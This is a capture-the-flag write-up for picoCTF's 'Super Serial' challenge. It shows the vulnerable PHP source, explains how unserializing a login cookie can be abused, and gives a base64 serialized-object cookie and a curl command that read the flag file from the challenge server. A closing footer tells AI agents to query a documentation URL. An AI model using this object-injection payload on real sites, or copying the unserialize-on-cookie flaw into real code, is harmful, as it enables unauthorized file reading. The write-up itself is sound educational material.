# Super Serial

## Problem

> Try to recover the flag stored on this website <http://mercury.picoctf.net:3449/>

## Solution

1. Going to `robots.txt` shows that `admin.phps` is disallowed. This indicates that the `phps` extension is enabled within the php configuration for this webserver. Files with the `phps` extension contain php code but instead of running when they are accessed, they return an HTML representation of the literal pho code.
2. We can access `index.phps` to find the following:

   ```php
   <?php
   require_once("cookie.php");

   if(isset($_POST["user"]) && isset($_POST["pass"])){
       $con = new SQLite3("../users.db");
       $username = $_POST["user"];
       $password = $_POST["pass"];
       $perm_res = new permissions($username, $password);
       if ($perm_res->is_guest() || $perm_res->is_admin()) {
           setcookie("login", urlencode(base64_encode(serialize($perm_res))), time() + (86400 * 30), "/");
           header("Location: authentication.php");
           die();
       } else {
           $msg = '<h6 class="text-center" style="color:red">Invalid Login.</h6>';
       }
   }
   ?>
   ```
3. The above php code points us in the direction of `authentication.php`. Looking at `authentication.phps` shows the following:

   ```php
   <?php

   class access_log
   {
       public $log_file;

       function __construct($lf) {
           $this->log_file = $lf;
       }

       function __toString() {
           return $this->read_log();
       }

       function append_to_log($data) {
           file_put_contents($this->log_file, $data, FILE_APPEND);
       }

       function read_log() {
           return file_get_contents($this->log_file);
       }
   }

   require_once("cookie.php");
   if(isset($perm) && $perm->is_admin()){
       $msg = "Welcome admin";
       $log = new access_log("access.log");
       $log->append_to_log("Logged in at ".date("Y-m-d")."\n");
   } else {
       $msg = "Welcome guest";
   }
   ?>
   ```
4. The above php code points us in the direction of `cookie.php`. Looking at `cookie.phps` shows the following:

   ```php
   <?php
   session_start();

   class permissions
   {
       public $username;
       public $password;

       function __construct($u, $p) {
           $this->username = $u;
           $this->password = $p;
       }

       function __toString() {
           return $u.$p;
       }

       function is_guest() {
           $guest = false;

           $con = new SQLite3("../users.db");
           $username = $this->username;
           $password = $this->password;
           $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
           $stm->bindValue(1, $username, SQLITE3_TEXT);
           $stm->bindValue(2, $password, SQLITE3_TEXT);
           $res = $stm->execute();
           $rest = $res->fetchArray();
           if($rest["username"]) {
               if ($rest["admin"] != 1) {
                   $guest = true;
               }
           }
           return $guest;
       }

           function is_admin() {
                   $admin = false;

                   $con = new SQLite3("../users.db");
                   $username = $this->username;
                   $password = $this->password;
                   $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
                   $stm->bindValue(1, $username, SQLITE3_TEXT);
                   $stm->bindValue(2, $password, SQLITE3_TEXT);
                   $res = $stm->execute();
                   $rest = $res->fetchArray();
                   if($rest["username"]) {
                           if ($rest["admin"] == 1) {
                                   $admin = true;
                           }
                   }
                   return $admin;
           }
   }

   if(isset($_COOKIE["login"])){
       try{
           $perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
           $g = $perm->is_guest();
           $a = $perm->is_admin();
       }
       catch(Error $e){
           die("Deserialization error. ".$perm);
       }
   }

   ?>
   ```
5. PortSwigger has a great article that goes into detail about [deserialization vulnerabilities](https://portswigger.net/web-security/deserialization/exploiting). [This Medium article](https://medium.com/swlh/exploiting-php-deserialization-56d71f03282a) gives a more step-by-step beginner guide.
6. The exploit is in this code block:

   ```php
   class access_log
   {
       public $log_file;

       function __construct($lf) {
           $this->log_file = $lf;
       }

       function __toString() {
           return $this->read_log();
       }

       function append_to_log($data) {
           file_put_contents($this->log_file, $data, FILE_APPEND);
       }

       function read_log() {
           return file_get_contents($this->log_file);
       }
   }

   if(isset($_COOKIE["login"])){
       try{
           $perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
           $g = $perm->is_guest();
           $a = $perm->is_admin();
       }
       catch(Error $e){
           die("Deserialization error. ".$perm);
       }
   }
   ```

   We can store any object in the `login` cookie and it will be unserialized. One option is to exploit the `__construct` function, since this is ran immediately when the object is created. However, in both the `access_log` and `permissions` classes, there does not appear to be a valid gadget chain (see "Gadget chains" in [the PortSwigger article](https://portswigger.net/web-security/deserialization/exploiting)).
7. We can store a serialized `access_log` object in the `login` cookie with the `log_file` set to `../flag`. This object will be instantiated in the first line of the `try` block. However, the `access_log` class does not have an `is_guest` function so when the code try to run that function on the next line it will fail, thus jumping to the `catch` block. This catch block prints the value of `$perm`, which is our injected `access_log` object. By printing `$perm`, the `__toString` method of our `access_log` object is called, which displays the content of whatever filename (the value of `access_log`) was passed to it.
8. The php serialized `access_log` object looks like this: `O:10:"access_log":1:{s:8:"log_file";s:7:"../flag";}`. Fore more details about this syntax, see [the aforementioned Medium article](https://medium.com/swlh/exploiting-php-deserialization-56d71f03282a).
9. Let's encode that to base64 and url encode it using [CyberChef](https://gchq.github.io/CyberChef/#recipe=To_Base64\('A-Za-z0-9%2B/%3D'\)URL_Encode\(true\)\&input=TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9) to get: `TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9`
10. We can use cURL to access the `authentication.php` file with the correct cookie set: `curl mercury.picoctf.net:3449/authentication.php --cookie "login=TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9"`. This will print the error text and the flag: `Deserialization error. picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_b4e3f8b1}`

### Flag

`picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_b4e3f8b1}`


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://picoctf2021.haydenhousen.com/web-exploitation/super-serial.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
